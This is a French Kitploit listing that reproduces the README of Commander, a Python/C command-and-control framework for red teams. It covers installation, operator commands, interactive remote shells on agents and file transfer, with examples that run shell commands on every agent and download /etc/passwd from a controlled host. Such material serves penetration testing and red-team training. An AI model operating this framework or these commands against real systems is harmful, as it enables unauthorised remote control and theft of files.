Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Commander — Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team. | Kitploit
Outils/GitHubGitHub/voukatas/commander
Outils de Chiffrement/DéchiffrementPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubvoukatas/commander

Commander

Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team.

Voir le dépôt
631832il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Commander

Commander est un framework de commande et de contrôle (C2) écrit en Python, Flask et SQLite. Il est livré avec deux agents écrits en Python et en C.

En développement continu

Pas adapté aux script-kiddies

Fonctionnalités

  • Communication entièrement chiffrée (TLS)
  • Agents multiples
  • Obfuscation
  • Sessions interactives
  • Évolutif
  • Encodage des données en Base64
  • API RESTful

Agents

  • Python 3
    • L'agent Python prend en charge :
      • les sessions, un shell interactif entre l'administrateur et l'agent (comme SSH)
      • l'obfuscation
      • les systèmes Windows et Linux
      • les fonctionnalités de téléchargement/téléversement de fichiers
  • C
    • L'agent C ne prend en charge pour l'instant que les fonctionnalités de base, le contrôle des tâches pour les agents
    • Uniquement pour les systèmes Linux

Prérequis

Python >= 3.6 est requis pour exécuter le programme, ainsi que les dépendances suivantes

Linux pour admin.py et c2_server.py (non testé sous Windows).
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Aperçu

screenshot

Comment l'utiliser

Créez d'abord les certificats et clés requis

# si vous voulez sécuriser votre clé avec une phrase de passe, excluez -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Lancez d'abord le module admin.py pour créer un fichier de base de données SQLite local

python3 admin.py

Continuez en exécutant le serveur

python3 c2_server.py

Et enfin l'agent. Pour l'agent Python, vous pouvez simplement l'exécuter, mais pour l'agent C, vous devez d'abord le compiler.

# agent Python
python3 agent.py

# agent C
gcc agent.c -o agent -lcurl -lb64
./agent

Par défaut, les agents et le serveur communiquent via TLS et base64. Le point de communication est défini sur 127.0.0.1:5000 et si un point différent est nécessaire, il doit être modifié dans les fichiers source des agents.

En tant qu'opérateur/administrateur, vous pouvez utiliser les commandes suivantes pour contrôler vos agents

Commandes :

  task add arg c2-commands
    Ajoute une tâche à un agent, à un groupe ou à tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands : les valeurs possibles sont c2-register c2-shell c2-sleep c2-quit
      c2-register : Demande à l'agent de s'enregistrer à nouveau.
      c2-shell cmd : Prend une commande shell à exécuter par l'agent. Ex. : c2-shell whoami
         cmd : La commande à exécuter.
      c2-sleep : Configure l'intervalle auquel un agent vérifie les tâches.
      c2-session port : Demande à l'agent d'ouvrir une session shell avec le serveur sur ce port.
         port : Le port de connexion. S'il n'est pas fourni, la valeur par défaut est 5555.
      c2-quit : Force un agent à quitter.

  task delete arg
    Supprime une tâche d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Affiche les informations pour tous les agents disponibles ou pour un agent spécifique.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Affiche la tâche d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Affiche l'historique/résultat d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Supprime la base de données afin que les agents actifs soient enregistrés à nouveau.

  exit
    Au revoir !


Sessions :

  sessions server arg [port]
    Contrôle un gestionnaire de sessions.
    arg : peut avoir les valeurs suivantes : 'start', 'stop', 'status' 
    port : port optionnel pour l'argument start ; s'il n'est pas fourni, la valeur par défaut est 5555. Cet argument définit le port du serveur de sessions.
  sessions select arg
    Sélectionne la session à laquelle se rattacher.
    arg : l'index du résultat de 'sessions list' 
  sessions close arg
    Ferme une session.
    arg : l'index du résultat de 'sessions list' 
  sessions list
    Affiche les sessions disponibles.
  local-ls directory
    Liste sur votre hôte les fichiers du répertoire sélectionné.
  download 'file'
    Télécharge le 'fichier' localement dans le répertoire courant.
  upload 'file'
    Téléverse un fichier dans le répertoire où se trouve actuellement l'agent.

Une attention particulière doit être portée à la commande 'find active agents'. Cette commande supprime toutes les tables et les recrée. Cela peut sembler effrayant mais ce ne l'est pas, du moins c'est ce que je crois :P

L'idée derrière cette fonctionnalité est que le serveur C2 peut demander à un agent de se ré-enregistrer au cas où il ne le reconnaît pas. Donc, comme nous voulons vider la base de données des anciennes entrées inutilisées et en même temps trouver tous les hôtes actuellement actifs, nous pouvons supprimer les tables et déclencher le mécanisme de ré-enregistrement du serveur C2. Voir ci-dessous pour le mécanisme de ré-enregistrement.

Flux

Vous trouverez ci-dessous un diagramme de flux normal.

Flux normal

screenshot

Dans le cas où l'environnement subit une défaillance majeure comme une base de données corrompue ou une autre défaillance critique, le mécanisme de ré-enregistrement est activé afin de ne pas perdre la connexion avec nos agents.

Plus précisément, si nous perdons la base de données, nous n'aurons aucune information sur les UUID que nous recevons, donc nous ne pouvons pas leur attribuer de tâches, etc. Les agents continueront donc à essayer de récupérer leurs tâches et, comme nous ne les reconnaissons pas, nous leur demanderons de se ré-enregistrer afin de pouvoir les insérer dans notre base de données et les contrôler à nouveau.

Voici le diagramme de flux pour ce cas.

Flux de ré-enregistrement

screenshot

Exemples utiles

Pour configurer votre environnement, démarrez d'abord admin.py, puis c2_server.py et exécutez l'agent. Ensuite, vous pouvez vérifier les agents disponibles.

# afficher tous les agents disponibles
show agent all

Pour demander à tous les agents d'exécuter la commande "id", vous pouvez faire comme ceci :

# pour tous les agents
task add all c2-shell id

# vérifier les résultats de "id"
show result all

Pour vérifier l'historique/résultats précédents des tâches exécutées pour un agent spécifique, faites comme ceci :

# vérifier les résultats d'un agent spécifique
show result 85913eb1245d40eb96cf53eaf0b1e241

Vous pouvez également modifier l'intervalle de vérification des tâches des agents à 30 secondes comme ceci :

# pour le définir pour tous les agents
task add all c2-sleep 30

Pour ouvrir une session avec un ou plusieurs de vos agents, procédez comme suit.

# trouver l'agent/uuid
show agent all

# activer le serveur pour accepter les connexions
sessions server start 5555

# ajouter une tâche pour une session à votre agent préféré
task add votre_uuid_agent_preféré_ici c2-session 5555

# afficher une liste des connexions disponibles
sessions list

# sélectionner pour se rattacher à l'une des sessions, par exemple la session 0
sessions select 0

# exécuter une commande
id

# télécharger le fichier passwd localement
download /etc/passwd

# lister vos fichiers localement pour vérifier que passwd a été créé
local-ls
Télécharger l’outil